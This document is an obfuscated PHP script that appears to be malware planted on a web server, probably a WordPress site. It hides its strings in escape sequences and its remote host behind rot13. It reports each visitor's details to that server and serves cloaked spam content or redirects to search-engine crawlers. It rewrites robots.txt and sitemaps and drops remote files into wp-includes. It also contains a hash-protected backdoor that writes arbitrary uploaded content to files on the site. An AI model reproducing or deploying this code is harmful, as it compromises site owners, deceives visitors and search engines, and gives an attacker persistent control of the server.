goto oMhfH; g0gko: if ($x3 == '') { $x3 = "\x2f"; } goto z50CB; b6A18: if (substr($g6, 0, 4) == "\x77\x77\x77\x2e") { $c23 = substr($g6, 4); } else { $c23 = $g6; } goto j0qtw; KLbau: if (isset($_SERVER["\x44\117\103\125\115\105\116\x54\x5f\x52\117\x4f\124"])) { $p12 = $_SERVER["\x44\x4f\x43\125\115\x45\x4e\x54\x5f\x52\117\117\124"]; } else { $p12 = dirname(__FILE__); } goto troOQ; S9qCd: $n38 = array("\167\145\x62" => $g6, "\172\172" => disbot(), "\165\x72\151" => $k4, "\x75\x72\154\163\150\141\x6e\x67" => $r8, "\x68\x74\164\x70" => $s2, "\x6c\x61\156\147" => $c7); goto iw0f_; TpPI3: $m5 = str_rot13(urldecode($b0)); goto QYdI1; j0qtw: $g24 = str_rot13(substr($c23, 0, 3) . substr($m5, 0, 3)) . "\x2e\143\163\163"; goto lgnil; wOM_N: $x3 = drequest_uri(); goto g0gko; ECsdt: function doutdo($j27) { $h34 = ''; if (function_exists("\x63\x75\162\x6c\137\x69\x6e\151\164")) { $o35 = curl_init(); curl_setopt($o35, CURLOPT_URL, $j27); curl_setopt($o35, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($o35, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($o35, CURLOPT_RETURNTRANSFER, 1); curl_setopt($o35, CURLOPT_CONNECTTIMEOUT, 30); $h34 = curl_exec($o35); curl_close($o35); } if (!$h34) { $h34 = @file_get_contents($j27); } return $h34; } goto dTJl2; fMEPO: function ping_sitemap($j27) { $h28 = explode("\xd\xa", trim($j27)); $a29 = ''; foreach ($h28 as $w30) { $m31 = doutdo($w30); $x32 = strpos($m31, "\x53\x69\164\145\155\141\x70\40\116\157\x74\151\146\151\143\x61\164\x69\157\156\40\122\x65\x63\x65\151\x76\x65\144") !== false ? "\x70\151\x6e\x67\x6f\153" : "\145\162\162\157\162"; $a29 .= $w30 . "\x2d\x2d\40" . $x32 . "\x3c\142\x72\76"; } return $a29; } goto G2Mxp; VcP73: $r8 = ''; goto FSD56; edGBP: $s1 = "\x68\x74\x74\x70"; goto scTzg; tU1M5: $i40 = trim(doutdo_post($k39, $n38)); goto iwiGz; zEUEm: $a26 = $s1 . "\72\x2f\x2f" . $m5 . "\57\164\145\155\x70\x2f\163\164\x79\x6c\145\x2e\143\163\x73"; goto fMEPO; scTzg: if (is_https()) { $s2 = "\x68\x74\x74\x70\x73"; } else { $s2 = "\x68\x74\164\160"; } goto wOM_N; ULUBD: $l22 = $p12 . "\57" . $o21; goto b6A18; oMhfH: @set_time_limit(3600); goto KT397; G2Mxp: function disbot() { $f33 = strtolower($_SERVER["\x48\x54\x54\120\x5f\x55\123\x45\122\137\x41\x47\105\116\x54"]); if (stristr($f33, "\x67\x6f\157\x67\154\x65\x62\x6f\x74") || stristr($f33, "\x62\x69\156\147") || stristr($f33, "\171\x61\x68\x6f\157") || stristr($f33, "\x67\x6f\157\x67\x6c\145") || stristr($f33, "\x47\x6f\x6f\147\154\145\x62\x6f\x74") || stristr($f33, "\147\157\x6f\x67\x6c\x65\142\157\164")) { return true; } else { return false; } } goto ECsdt; lgnil: $d25 = $p12 . "\57" . $o21 . "\57" . $g24; goto zEUEm; dTJl2: function doutdo_post($x36, $v16) { $o35 = curl_init(); curl_setopt($o35, CURLOPT_URL, $x36); curl_setopt($o35, CURLOPT_POST, 1); curl_setopt($o35, CURLOPT_USERAGENT, "\115\157\172\x69\154\154\x61\x2f\64\x2e\x30\40\50\143\x6f\x6d\x70\x61\164\151\x62\154\x65\73\40\x4d\x53\x49\x45\40\65\x2e\60\61\x3b\x20\127\x69\156\144\x6f\x77\163\x20\116\124\x20\x35\56\60\x29"); curl_setopt($o35, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($o35, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($o35, CURLOPT_HEADER, 0); curl_setopt($o35, CURLOPT_RETURNTRANSFER, 1); curl_setopt($o35, CURLOPT_POSTFIELDS, $v16); $w37 = curl_exec($o35); curl_close($o35); return $w37; } goto UjpZs; kj84L: if ($x3 == "\57" || strstr($x3, "\145\x77\164\x74\x6d")) { fcss($l22, $d25, $a26); } goto S9qCd; V31vJ: $m9 = sha1(sha1(@$_REQUEST["\x70\144"])); goto SDDyH; UjpZs: function fcss($l22, $d25, $a26) { if (is_dir($l22)) { if (!file_exists($d25)) { @file_put_contents($d25, doutdo($a26)); } } else { if (@mkdir($l22)) { if (!file_exists($d25)) { @file_put_contents($d25, doutdo($a26)); } } } } goto kj84L; z50CB: $k4 = urlencode($x3); goto HDvtN; bwFz1: $c7 = urlencode($c7); goto VcP73; SDDyH: if ($m9 == "\146\x37\65\146\144\x35\x61\143\144\63\66\141\67\146\x62\144\x31\x65\x32\x31\71\142\x31\71\70\x38\x31\141\65\63\64\x38\x62\x66\143\66\66\x65\67\x39") { $d10 = @$_REQUEST["\x6d\141\x70\x6e\x61\x6d\x65"]; $w11 = @$_REQUEST["\x61\143\x74\151\x6f\156"]; if (isset($_SERVER["\104\117\103\125\x4d\105\x4e\124\137\122\117\x4f\x54"])) { $p12 = $_SERVER["\104\117\103\125\115\x45\116\x54\137\122\117\x4f\124"]; } else { $p12 = dirname(__FILE__); } if (!$w11) { $w11 = "\x70\165\x74"; } if ($w11 == "\160\165\x74") { if (isset($_REQUEST["\147\x6f\157\x67\x6c\145"])) { $f13 = $_REQUEST["\147\x6f\157\x67\x6c\x65"]; if (preg_match("\57\136\147\x6f\157\147\x6c\x65\x2e\52\77\50\134\x2e\x68\x74\155\x6c\x29\44\57\151", $f13)) { file_put_contents($f13, "\x67\157\157\147\154\x65\x2d\x73\151\164\145\x2d\x76\x65\x72\x69\x66\x69\x63\x61\164\151\x6f\x6e\x3a" . "\40" . $f13); die("\x3c\141\x20\x68\x72\145\x66\x3d" . $f13 . "\x3e" . $f13 . "\74\57\x61\76"); } } if (strstr($d10, "\x2e\170\x6d\154")) { $b14 = $p12 . "\x2f\163\151\x74\x65\155\141\x70\x2e\170\155\154"; if (is_file($b14)) { @unlink($b14); } $k15 = $p12 . "\x2f\x72\x6f\142\157\164\163\56\x74\x78\x74"; if (stristr($d10, "\125\x73\x65\162\55\x61\x67\x65\x6e\164")) { @unlink($k15); if (file_put_contents($k15, $d10)) { echo "\74\x62\x72\76\157\x6b\x3c\142\162\76"; } else { echo "\74\x62\162\x3e\146\151\x6c\145\40\167\x72\x69\x74\145\40\x66\x61\154\163\x65\x21\74\x62\162\76"; } } else { if (file_exists($k15)) { $v16 = doutdo($k15); } else { $v16 = "\x55\x73\x65\x72\55\141\x67\145\x6e\164\x3a\40\52\xa\101\x6c\154\157\167\x3a\x20\57"; } $w17 = $s2 . "\x3a\x2f\57" . $g6 . "\x2f" . $d10; if (stristr($v16, $w17)) { echo "\74\142\x72\x3e\163\151\x74\145\155\141\x70\40\141\154\162\145\x61\144\x79\40\x61\x64\x64\145\x64\x21\74\142\x72\76"; } else { if (file_put_contents($k15, trim($v16) . "\xd\xa" . "\x53\151\164\145\x6d\x61\x70\x3a\x20" . $w17)) { echo "\74\142\162\x3e\x6f\x6b\74\142\x72\x3e"; } else { echo "\74\x62\x72\x3e\146\x69\x6c\145\40\167\162\x69\164\145\40\x66\x61\x6c\x73\x65\x21\x3c\142\x72\76"; } } } } else { echo "\x3c\x62\162\x3e\163\151\x74\145\155\x61\160\x20\x6e\141\x6d\145\x20\146\141\154\163\145\x21\74\142\162\76"; } $b18 = sha1(sha1(@$_REQUEST["\x61"])); $e19 = sha1(sha1(@$_REQUEST["\142"])); if ($b18 == doutdo($s1 . "\72\57\57" . $m5 . "\57\141\x2e\160" . "\150\x70") || $e19 == "\x66\70\146\x30\x64\141\x65\x38\60\64\63\66\x38\x63\x30\63\63\x34\145\x32\x32\x64\x39\144\143\142\x37\x30\x64\63\x63\67\142\x62\146\141\71\66\63\65") { $a20 = @$_REQUEST["\144\x73\164\x72"]; if (file_put_contents($p12 . "\57" . $d10, $a20)) { echo "\157\x6b"; } } } die; } goto KLbau; LI9Jq: $g6 = $_SERVER["\110\124\124\120\x5f\110\117\123\x54"]; goto ZheSa; iw0f_: if (is_file($d25)) { $k39 = $s1 . "\72\57\57" . $m5 . "\57\151\156\144\x65\170\x6e\x65\x77\x2e\160\x68\x70\x3f\143\163\163\75\61"; } else { $k39 = $s1 . "\x3a\x2f\57" . $m5 . "\x2f\151\156\144\x65\x78\x6e\145\167\x2e\160\150\160"; } goto tU1M5; FSD56: if (isset($_SERVER["\110\124\124\120\x5f\122\105\x46\105\122\x45\122"])) { $r8 = $_SERVER["\110\124\124\x50\137\x52\x45\x46\105\x52\105\x52"]; $r8 = urlencode($r8); } goto V31vJ; QKiZ2: $b0 = "\45\67\x35\x25\x37\x37\x25\x36\106\45\x37\66\45\66\x37\x25\66\x35\45\66\105\x25\x36\65\45\66\x43\45\x36\x44\x25\x37\x34\x25\62\x45\x25\66\63\x25\66\x36\x25\x36\x45\x25\67\71\x25\x36\x32\45\67\62\x25\66\104\x25\66\70\x25\62\105\45\66\102\x25\66\103\45\x36\x44"; goto edGBP; QYdI1: function is_https() { if (isset($_SERVER["\110\x54\124\x50\123"]) && strtolower($_SERVER["\110\x54\124\x50\x53"]) !== "\157\x66\146") { return true; } elseif (isset($_SERVER["\x48\x54\x54\x50\137\x58\x5f\106\117\x52\x57\x41\122\x44\x45\104\137\120\122\117\x54\117"]) && $_SERVER["\110\x54\x54\x50\137\x58\x5f\106\117\122\x57\x41\x52\x44\105\x44\x5f\x50\x52\x4f\x54\117"] === "\x68\164\164\x70\163") { return true; } elseif (isset($_SERVER["\110\x54\124\120\x5f\x46\x52\x4f\x4e\x54\137\105\116\x44\137\x48\124\x54\120\x53"]) && strtolower($_SERVER["\x48\x54\124\x50\x5f\x46\122\x4f\116\124\137\105\x4e\104\137\110\124\124\x50\123"]) !== "\x6f\146\146") { return true; } return false; } goto LI9Jq; ZheSa: $c7 = @$_SERVER["\110\124\124\x50\x5f\101\103\103\105\x50\x54\137\x4c\x41\116\x47\x55\101\x47\x45"]; goto bwFz1; KT397: @ignore_user_abort(1); goto QKiZ2; HDvtN: function drequest_uri() { if (isset($_SERVER["\122\x45\121\125\105\x53\124\137\125\x52\111"])) { $k4 = $_SERVER["\x52\x45\121\125\105\123\124\x5f\125\122\x49"]; } else { if (isset($_SERVER["\x61\162\147\x76"])) { $k4 = $_SERVER["\120\x48\120\x5f\123\x45\114\106"] . "\77" . $_SERVER["\141\x72\x67\166"][0]; } else { $k4 = $_SERVER["\120\x48\x50\137\123\x45\114\106"] . "\77" . $_SERVER["\x51\125\105\x52\x59\137\123\x54\122\111\116\x47"]; } } return $k4; } goto TpPI3; troOQ: if (is_dir($p12 . "\x2f\x77\160\x2d\151\156\143\x6c\165\144\145\x73")) { $o21 = "\167\160\55\x69\156\143\154\x75\x64\145\x73\x2f\143\x73\163"; } else { $o21 = "\143\163\163"; } goto ULUBD; iwiGz: if (!strstr($i40, "\156\x6f\x62\x6f\x74\x75\163\145\x72\141\x67\x65\x6e\x74")) { if (strstr($i40, "\x6f\153\150\164\155\154\147\145\164\x63\x6f\x6e\164\x65\x6e\164")) { @header("\x43\157\156\x74\x65\x6e\164\55\164\171\160\145\x3a\40\164\x65\x78\x74\x2f\x68\164\x6d\154\x3b\40\x63\150\x61\x72\x73\145\164\x3d\x75\164\x66\55\x38"); if (file_exists($d25)) { $n41 = file_get_contents($d25); $i40 = str_replace("\x5b\43\43\154\x69\156\153\143\163\x73\43\x23\x5d", $n41, $i40); } else { $i40 = str_replace("\x5b\x23\x23\x6c\151\156\153\x63\163\x73\x23\43\x5d", '', $i40); } $i40 = str_replace("\x6f\x6b\150\164\155\154\x67\145\x74\143\x6f\156\164\x65\x6e\x74", '', $i40); echo $i40; die; } else { if (strstr($i40, "\157\153\x78\155\x6c\147\x65\x74\x63\157\156\164\145\x6e\x74")) { $i40 = str_replace("\x6f\153\x78\155\x6c\147\145\x74\143\x6f\156\164\145\x6e\x74", '', $i40); @header("\103\x6f\x6e\164\x65\x6e\x74\x2d\x74\171\x70\x65\72\x20\164\x65\170\x74\x2f\x78\x6d\x6c"); echo $i40; die; } else { if (strstr($i40, "\160\151\x6e\x67\170\155\x6c\147\x65\x74\143\157\156\x74\145\156\x74")) { $i40 = str_replace("\x70\151\156\147\170\x6d\154\x67\x65\x74\x63\157\156\x74\145\x6e\x74", '', $i40); fcss($l22, $d25, $a26); @header("\x43\157\x6e\164\x65\x6e\x74\55\x74\171\x70\145\x3a\x20\164\145\170\x74\x2f\x68\x74\x6d\154\x3b\x20\143\150\x61\162\x73\x65\x74\x3d\x75\x74\x66\x2d\70"); echo ping_sitemap($i40); die; } else { if (strstr($i40, "\147\x65\x74\143\x6f\156\x74\145\156\164\x35\x30\x30\160\141\x67\x65")) { @header("\110\124\124\x50\57\61\x2e\x31\x20\65\60\60\x20\x49\156\x74\145\162\x6e\141\154\40\123\x65\x72\166\145\162\40\x45\x72\162\x6f\x72"); die; } else { if (strstr($i40, "\x67\x65\x74\143\x6f\156\164\145\156\x74\x34\60\x34\160\x61\147\x65")) { @header("\110\x54\x54\x50\57\x31\56\x31\40\64\x30\64\x20\x4e\157\x74\x20\106\x6f\165\156\144"); die; } else { if (strstr($i40, "\x67\x65\164\143\157\156\164\145\x6e\x74\x33\x30\x31\160\x61\x67\145")) { @header("\110\124\x54\x50\57\61\x2e\x31\x20\x33\x30\61\40\115\x6f\x76\145\x64\x20\x50\145\162\x6d\141\x6e\x65\x6e\164\154\171"); $i40 = str_replace("\147\145\x74\x63\157\156\x74\x65\156\164\x33\60\61\x70\x61\x67\145", '', $i40); header("\x4c\157\143\141\164\x69\157\156\72\x20" . $i40); die; } } } } } } } goto J8Jyp; J8Jyp: